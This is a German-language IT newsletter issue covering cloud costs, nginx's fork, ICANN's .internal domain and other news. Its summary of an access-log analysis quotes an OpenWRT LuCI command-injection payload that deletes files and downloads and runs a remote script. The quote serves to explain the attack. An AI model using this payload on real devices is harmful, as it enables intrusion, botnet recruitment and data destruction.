Willkommen zu allesnurgecloud.com – Ausgabe #135!
Kris hat es mit einem Artikel zu Matrix Chat in die Top 10 Hacker News Postings geschafft.
Im Artikel beschreibt er seine erste Erfahrung mit Matrix Chat und was er dabei aus Nutzersicht erlebt hat.
Passenderweise heißt der Artikel dann auch „The Matrix Trashfire“.
Einer der Kommentare auf Hacker News ist mir aber ins Auge gesprungen, da ich auch immer für die Kundensicht werbe:
This kind of process is extremely valuable and should be done by devs more often. Start from the start and follow whatever your application tells you to do. Note down when it doesn’t tell you where to go or what to do. You’d be surprised by just how many things you do automatically while working because you know the little tricks and things to get by, and that wording doesn’t necessarily match what the app requires now.
Egal, was man als digitales Produkt baut, E-Commerce, SaaS, App oder auch „nur“ einen Newsletter wie diesen hier. Gelegentlich sollte man selbst „Neukunde“ spielen, das Onboarding mitmachen, die App löschen und sich neu registrieren, damit man regelmäßig den ganzen Prozess als „Undercover Boss“ aus Kundensicht durchspielt.
Ivanti Updates…
Hey und keine Woche ohne Ivanti Update, oder?
Es gab einen neuen CVE (CVE-2024-22024) mit einem CVSS Score von 8.3 – Updates gibt es auch schon und teilweise wurden diese am 14. Februar nochmal aktualisiert.
Ich schreibe das hier am Freitagabend – ob es bis zum Versand am Sonntagmorgen nochmals einen neuen CVE gibt?
Happy Bootstrapping Podcast
Im Podcast habe ich diese Woche mit Benedikt Voigt von projo.berlin gesprochen. Projo ist eine SaaS Software für Architektur- und Ingenieurbüros und hat eine spannende Reise hinter sich. Benedikt ist 37signals/Basecamp Fan und hat die erste Version in Ruby on Rails und in enger Zusammenarbeit mit den ersten 3 Kunden gebaut. Heute wird die Software von über 120 Kunden verwendet und erwirtschaftet über 100.000€ MRR (Monthly Recurring Revenue).
allesnurgecloud.com ist ein kuratierter Newsletter mit Inhalten aus der Open-Source, Cloud und IT-Welt.
Für weiteren Content folge mir gerne auf Twitter, Mastodon oder LinkedIn.
Möchtest du den Newsletter wöchentlich per E-Mail erhalten?
Einfach hier abonnieren:
Microsoft baut Rechenzentren in Deutschland für 3,2 Mrd. €
Dr. Marianne Janik, Deutschland CEO von Microsoft, hat auf einer gemeinsamen Pressekonferenz mit Bundeskanzler Olaf Scholz angekündigt, bereits in den nächsten 2 Jahren 3,2 Milliarden Euro in 2 neue Microsoft Datacenter zu investieren, die vor allem für den Einsatz von KI gedacht seien.
Die genauen Standorte wurden nicht genannt, sollen aber bei Frankfurt am Mail und nahe Köln entstehen. Die FAZ schreibt zu den Kölner Standorten, dass die RZs in den Städten Bergheim und Bedburg entstehen sollen.
Die zu investierende Summe ist nicht nur für die Datencenter, die benötigte Hardware und die entstehenden Jobs gedacht, sondern soll auch für das Training und die Ausbildung der Menschen im Umgang mit KI Software wie beispielsweise Copilot verwendet werden.
Irgendwie hätte ich eher damit gerechnet, dass man weiter in den Osten oder in den Norden geht, da hier ggf. der Strom günstiger zu haben sein könnte. Das rheinische Revier ist insofern günstig, als es zwischen den europäischen Datentrassen Amsterdam und Frankfurt liegt, was für einen Hyperscaler sicherlich auch eine große Rolle spielt.
Die beiden Datacenter sollen bereits 2026 in Betrieb gehen
Microsoft investiert Milliarden in Deutschland
ICANN: Neue Interne Domain ist .internal
Schon Ende Januar hatte die ICANN sich endlich auf neue private Domains geeinigt und ich die News irgendwie unterschlagen.
Das Problem lag bei der ICANN seit 2020 auf dem Tisch. Viele haben intern „.local“ genutzt, was aber eigentlich für mDNS reserviert ist oder auch in iOS/macOS für Bonjour verwendet wird. Andere hatten dann „.dev“ als Test-Domain verwendet, bis Google diese gekauft und mittlerweile auch vermarktet hat.
Und zuletzt hatte sich jemand die .box Domain unter den Nagel gerissen und versucht nun, Fritz!Box Kunden in die Irre zu führen.
Man hatte sich jedenfalls 35 verschiedene Kandidaten angeschaut, in diversen Sprachen der Welt analysiert und sich am Ende für „INTERNAL“ und „PRIVATE“ entschieden.
Allerdings gibt es auch bei INTERNAL und PRIVATE diverse Schwächen, die die ICANN im verlinkten PDF auf Seite 2 ausführt.
Die „Private“ Domain könne man auch missverstehen, aus Gründen der Privatsphäre und so:
It was noted that “PRIVATE” may carry the unintended imputation of privacy to a higher degree, and more potential was seen for conflicting meanings across the gamut of assessed languages
…..
Therefore, “INTERNAL” is identified as the proposed top-level string for private-use applications.
Also sprach man sich am Ende für „.internal“ als Empfehlung für interne Domains aus.
Liegt ja gar nicht auf der Hand, oder?
heise.de: Überfällig: ICANN legt sich auf Namen für interne Domains fest
Sponsored
Hier könnte Deine Werbung stehen
Du möchtest Deine Firma, angebotene Dienstleistungen & Services oder Dein SaaS Produkt hier im Newsletter vorstellen?
Du suchst neue Mitarbeiter und möchtest diese direkt erreichen?
Erreiche um die 1000 Cloud und Open-Source Enthusiasten direkt per E-Mail, LinkedIn oder im RSS-Feed.
Bei Interesse antworte mir einfach auf diesen Newsletter oder buche direkt einen Slot bei Passionfroot.
AWS Postgres RDS funktioniert nicht für BigData
Im verlinkten Artikel berichtet Max Kremer, CTO von lassoo.io, warum PostgreSQL von AWS (RDS) für ihren Fall nicht funktioniert hat.
Max und sein Team bauen an einer Big Data Applikation, die ein Headless Analytics Software-as-a-Service Tool baut. Headless Analytics bedeutet in dem Fall, dass lassoo nur die Daten sammelt und kuratiert, die Kunden zum Auswerten der Daten dann ihren eigenen Stack verwenden können.
Das Problem bei dem gesammelten Datenbestand ist, dass es häufig Full-Table Scans auf die Daten gibt. Da diese dann wiederum vom Durchsatz der EBS Volumes abhängen, muss man größere Volumes nehmen, da es mehr Durchsatz und IOPS nur bei größeren Volumes in RDS gibt. Dadurch steigen wieder die Kosten für die Volumes und die Backups, auch wenn der Platz gar nicht benötigt wird. Eine Analyse der IOPS Thematik hat Datadog gemacht und auf dem eigenen Blog hier veröffentlicht.
Aufgrund der beschriebenen Probleme migrierte das Team von Max auf Aurora, verspricht man hier nicht einen Performance-Gewinn bei fallenden Kosten. Allerdings passierte das Gegenteil – Aurora ist für OLTP Systeme optimiert, also für eine große Anzahl an parallelen Clients, die kleine Datensets von der DB abfragen. Im Falle von lassoo kommen aber wenige Kunden, die einen großen Datenbereich analysieren wollen. Die Kosten stiegen, anstatt zu sinken.
Die Lösung war dann schließlich, PostgreSQL selbst auf EC2 Instanzen zu betreiben. Das Team konnte mit eigenen Instanzen READ und WRITE Instanzen separat betreiben und optimieren. Die WRITE Instanzen konnten langsam sein und konnten mit normalen EBS Instanzen (und ZFS Komprimierung) betrieben werden. Die READ Nodes wurden mit WAL-G (wal-g bei GitHub) erzeugt und mit ephemeral NVMe Disks betrieben, was einen ordentlichen Performanceschub ergab.
Queries, die früher Stunden liefen konnten nun in Sekunden ein Ergebnis liefern.
Das Schöne dabei: Die Kosten reduzierten sich von $11.000 pro Monat auf monatlich $2100.
Ich glaube, man hätte die Daten vermutlich auch in Clickhouse oder Postgres-näher mit YugabyteDB speichern können, um eine ähnliche Performance zu erzielen. Aber es kommt halt auch immer darauf an, mit welchem Stack man sich auskennt.
nginx Core-Entwickler startet freenginx.org
Der nginx Core Entwickler Maxim Dounin glaubt nicht mehr so richtig an die Zukunft von nginx unter F5. In einem aktuellen Announcement auf der nginx Mailingliste kündigt Maxim nun freenginx an. Die Website auf freenginx.org hat das ursprüngliche Design der alten nginx Website.
Er schreibt dazu, dass das F5 Office in Moskau seit 2022 geschlossen habe und er seitdem mit einem Agreement als freiwilliger und kostenloser Entwickler für nginx gearbeitet hat.
Das neue „non-technical“ Management hat nun aber eine Position eingenommen, die er nicht mehr mittragen könne:
Unfortunately, some new non-technical management at F5 recently decided that they know better how to run open source projects. In particular, they decided to interfere with security policy nginx uses for years, ignoring both the policy and developers’ position.
Das neue Projekt soll in Zukunft frei von Entscheidungen von Firmen und deren Vorgehensweise sein:
The goal of the project is to keep nginx development free from arbitrary corporate actions.
Nginx wurde ursprünglich ab 2002 von Igor Sysoev entwickelt und 2011 in eine NGINX Inc. überführt, die dann 2019 von F5 übernommen wurde. Sysoev schied 2022 bei F5 aus, um private Projekte umzusetzen und sich um seine Familie zu kümmern.
Maxim Dounin, der nun das Projekt geforked hat, hatte von 2011 bis 2022 bei der NGINX Inc. gearbeitet.
Cloud Traffic Preise im Vergleich
Anthony Simon hat sich die Mühe gemacht, und die Preise sämtlicher Cloud Provider für ausgehenden Traffic (egress) angeschaut.
Herausgekommen ist eine schöne Liste mit der Beschreibung der kostenlosen Kontingente pro Provider und den Kosten pro 1 TB egress Traffic.
Ein paar der Angebote hier in einer einfachen Liste;
- Cloudflare: für viele Dienste ist egress kostenlos
- OVH und Scaleway: Für sämtliche Dienste unlimited Traffic
- Hetzner: 20-60 TB inklusiv, dann 1 € pro 1 TB egress
- Backblaze, BunnyCDN und Oracle CLoud: $10 pro 1 TB
- Microsoft Azure: $78,30 pro 1 TB
- AWS: $92,16 pro 1 TB
- Google $111,6 pro 1 TB
- Render: $300 pro 1 TB (100 GB – 1 TB frei)
- Vercel: $400 pro 1 TB (100 GB – 1 TB frei)
- Netlify: $550 pro 1 TB (100 GB – 1 TB frei)
Ich hatte immer Vercel als teuersten Anbieter im Kopf, aber schaut so aus, als hat hier Netlify dann doch die Krone auf. Kommt man bei Render, Vercel und Netlify über das „kostenlose“ Volumen, wird das Thema schon happig. Da sollte man traffic intensive Anwendungen auf einen anderen Anbieter auslagern und sinnvoll kombinieren, sofern der Use-case das erlaubt.
Die Page hat zudem eine einfache Vergleichsmöglichkeit der verschiedenen Anbieter, beispielsweise AWS und Cloudflare, Azure vs. Google Cloud, Cloudflare vs. Bunny CDN und viele mehr.
AWS Transfer Kosten reduzieren durch S3 Workaround
Im vorigen Artikel hast du schon gelernt, wie unterschiedlich die Traffic-Preise der verschiedenen Cloud Anbieter sein können.
Im verlinkten Tutorial findest du ein Beispiel, wie man 99 % der Traffic Kosten sparen kann. Ok, die Überschrift ist reißerisch, und bei genauem Hinsehen, passt die vorgeschlagene Vorgehensweise vermutlich nicht für viele Use Cases, aber der Reihe nach:
- bei AWS bezahlt man den ausgehenden Traffic (ins Internet, oder eine andere Region) – die Preise dafür sind recht unterschiedlich – ab $0,09/GB in
us-east-1(Virginia) bis $0,154/GB inaf-south-1(Kapstadt) - 1 TB ins Internet übertragen kostet dann zwischen $90 und $154, je nach Region. 1 TB in eine andere Region kostet zwischen $20 – $147.
- In beiden Fällen bezahlt man nicht für den eingehenden Traffic – den bezahlt man beim Dienst mit – beispielsweise bei S3
- ein Transfer von Files innerhalb einer Region, von AZ
us-east-1azuus-east-1bkostet $0,01/GB – allerdings auf beiden Seiten – eingehend und ausgehend – in dem Fall dann $10 pro AZ, in Summe $20
So, und nun zum Workaround – S3 speichert seine Daten in der Region, nicht in einer AZ. D.h. möchte ich Daten zwischen einer EC2 Instanz in us-east-1a zu us-east-1b übertragen, so kann ich die Daten von us-east-1a in S3 in us-east-1 hochladen und in us-east-1b wieder herunterladen. In beiden Fällen kostet der Traffic an sich nichts, nur die Speicherung in S3 selbst. Hat man regelmäßig viele Files zu übertragen, kann man also ordentlich Geld sparen.
S3 kann nur Files bis zu einer Größe von 5 TB speichern, und ein Upload kann maximal 5 GB sein, hier muss man multi-part uploads verwenden, was beispielsweise mit der AWS CLI automatisch funktioniert.
Ein Demo-Beispiel ist im Blog-Artikel auch verlinkt – inklusive Beispielrechnung.
Irgendwie doof, dass man solche Workarounds bauen muss, oder?
Slashing Data Transfer Costs in AWS by 99 %
Kostenexplosion durch „Kundenspam“ bei Vercel
Ein Vercel Kunde meldete auf Twitter einen enormen Kostenanstieg seines Accounts auf $23.000 durch einen Abuse/Spam, verursacht durch massenweise generierte Accounts. Vermutlich hat hier ein volumenbasierter Tarif von Vercel zugeschlagen, der entweder nach Ausführung und/oder Traffic abgerechnet wurde.
Das Team um Vercel CEO Guillermo Rauch versprach sich umgehend zu kümmern und hat dann auch entsprechend geliefert.
Es wurden in diesem Fall unzählige Stripe Webhooks ausgeführt, die mit einem langen Timeout versehen waren und sich dann entsprechend massenweise aufstauten.
Guillermo gab außerdem an, dass man 26 „Usage Notifications“ verschickt hatte, die auf den Fehler hingewiesen haben – unter anderem sollte eine Vercel Function nicht mehr erst bei 60s in einen Timeout laufen, sondern viel früher.
Ein weiterer Twitter User hatte sich daraufhin das Spend Management in Vercel angeschaut und festgestellt, dass es keine automatische Pausierung eines Accounts/Projektes gibt. Diese muss man aktuell selbst hinzufügen, beispielsweise in dem man auf einen Webhook lauscht, den das Spend Management ausführt und dann entsprechend darauf reagiert.
Vermutlich ist es ein Fall von „Wie man es macht, ist es nicht Recht“. Schaltet man die Projekte automatisch ab, so ist das dem ein oder anderen sicherlich auch nicht recht.
Slashing Data Transfer Costs in AWS by 99 %
Access Log Analyse und Reverse Engineering
Nish Tahir beschreibt in einem Blog-Artikel, was passiert, wenn man einen neuen Server mit externer IP ins Internet stellt. Er selbst ist normaler Entwickler und kein Security-Experte, er hat sich einfach mal nur dafür interessiert, was genau passiert und wie schnell die ersten „Attacken“ kommen.
Die ersten Themen, die man immer sieht, sind „Directory Traversal Attacken“ – also HTTP Calls, die nach Credentials, Git Configs oder Zugangsdaten für populäre Frameworks suchen. Witzig in seiner Analyse ist nun, dass als User-Agent häufig Mozlila/5.0 kommt anstatt Mozilla/5.0. Dieser Typo zieht sich wohl über diverse Scanning Tools durch, und hat dadurch eine entsprechende Lebenszeit (GitHub Suche dazu).
Diverse Anfragen zu Shellshock gibt es ebenfalls noch – dass es diese heute noch gibt, zeigt wohl, dass es noch immer gegen Shellshock verwundbare Systeme gibt. Shellshock, das war im Jahr 2014 und ist also schon 10 Jahre her – Cloudflare hat hier einen Artikel zu Shellshock im Blog.
Dann hat Nish eine LuCI Injection gesehen, die eigentlich die Web-Interfaces von OpenWRT Router als Ziel hat. Er hat die URL decodiert und sich in einem Selbstversuch angeschaut, was denn genau passiert wäre:
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd /tmp; rm -rf *; wget http://xxx.xxx.xxx.xxx/tenda.sh; chmod 777 tenda.sh;./tenda.sh)
Er hat das Skript heruntergeladen und mit UPX entpackt – das Script wollte wieder einen Download von einer anderen Quelle starten, die zum Zeitpunkt seiner Analyse jedoch nicht verfügbar war.
In seiner letzten Analyse hat er noch einen Angriffsversuch gegen Zyxel Router gesehen, die ebenfalls einen weiteren Download eines Angriffs gegen Huawei Geräte ausgeführt hätten und wohl in Richtung Mirai Botnet zeigen.
Interessant, dass sich mal jemand die Mühe gemacht hat, die Requests alle anzuschauen. Hat man ein paar Server im Internet, kommt da schon einiges zusammen und man ist das ja gewohnt, so etwas zu sehen. Ich frage mich, ob so etwas dann als „tausende Cyber-Angriffe“ gezählt wird, von der CEOs und CTOs als berichten.
I looked through attacks in my access logs. Here’s what I found
Schmunzelecke
Der Twitter User Adam Ježek macht lustige Dinge mit Ubiquiti Switches – beispielsweise spielt er Snake mit der LED Beleuchtung, oder auch andere Games.
Die Quelle dafür ist die in Python geschriebene Steuerung der RGB LED Lampen der Switche, die er hier auf GitHub veröffentlicht hat.
In der Vergangenheit hat Adam auch schon andere Sachen gemacht, beispielsweise Flappy Bird auf einem digitalen Mischpult gespielt.
💡 Link Tipps aus der Open Source Welt
Maybe – Open-Source Finanztracking
Maybe ist ein Open-Source Tracker für Finanzen aller Art – Aktien, ETFs, Krypto, Immobilien….Maybe ist eine moderne Alternative zu Portfolio Performance, das dürfte der ein oder andere vermutlich kennen. Soweit ich das sehen kann, hat Portfolio Performance aber noch immer sehr viel mehr Features als Maybe.
Der Entwickler/Chef von Maybe hat das früher als VC finanziertes Start-up versucht, nun neu aufgesetzt und Open-Source gestellt. Später soll es seine SaaS Variante geben und das Projekt darüber finanziert werden. Aktuell kann man das Ganze daher nur lokal ausprobieren. Die Software selbst ist in Ruby geschrieben, wer hierbei Supporten möchte, kann das somit bereits tun.
https://github.com/maybe-finance/maybe
Inframap – Abhängigkeiten aus Terraform State visualisieren
Mit Inframap kannst du Graphen aus einem Terraform State File erzeugen, die die Abhängigkeiten deiner Services visualisieren. Aktuell werden AWS, Google, Azure und OpenStack als Provider unterstützt (jeweils nicht alle Funktionen, daher einfach mal ausprobieren).
Terraform hat ja selbst so eine Funktion namens terraform graph – allerdings kommen da nicht so schöne Ergebnisse raus. Inframap möchte das Ganze „human-readable“ machen – hier ein Beispiel des gleichen Outputs als PNG.
Ein kurzes Demo-Video zur Erklärung findest du hier bei asciinema.
https://github.com/cycloidio/inframap
❓ Feedback & Newsletter Abo
Vielen Dank, dass du es bis hierhin geschafft hast!
Kommentiere gerne oder schicke mir Inhalte, die du passend findest.
Falls dir die Inhalte gefallen haben, kannst du mir gerne auf Twitter folgen.
Gerne kannst du mir ein Bier ausgeben oder mal auf meiner Wunschliste vorbeischauen – Danke!
Möchtest du den Newsletter wöchentlich per E-Mail erhalten?
Einfach hier abonnieren: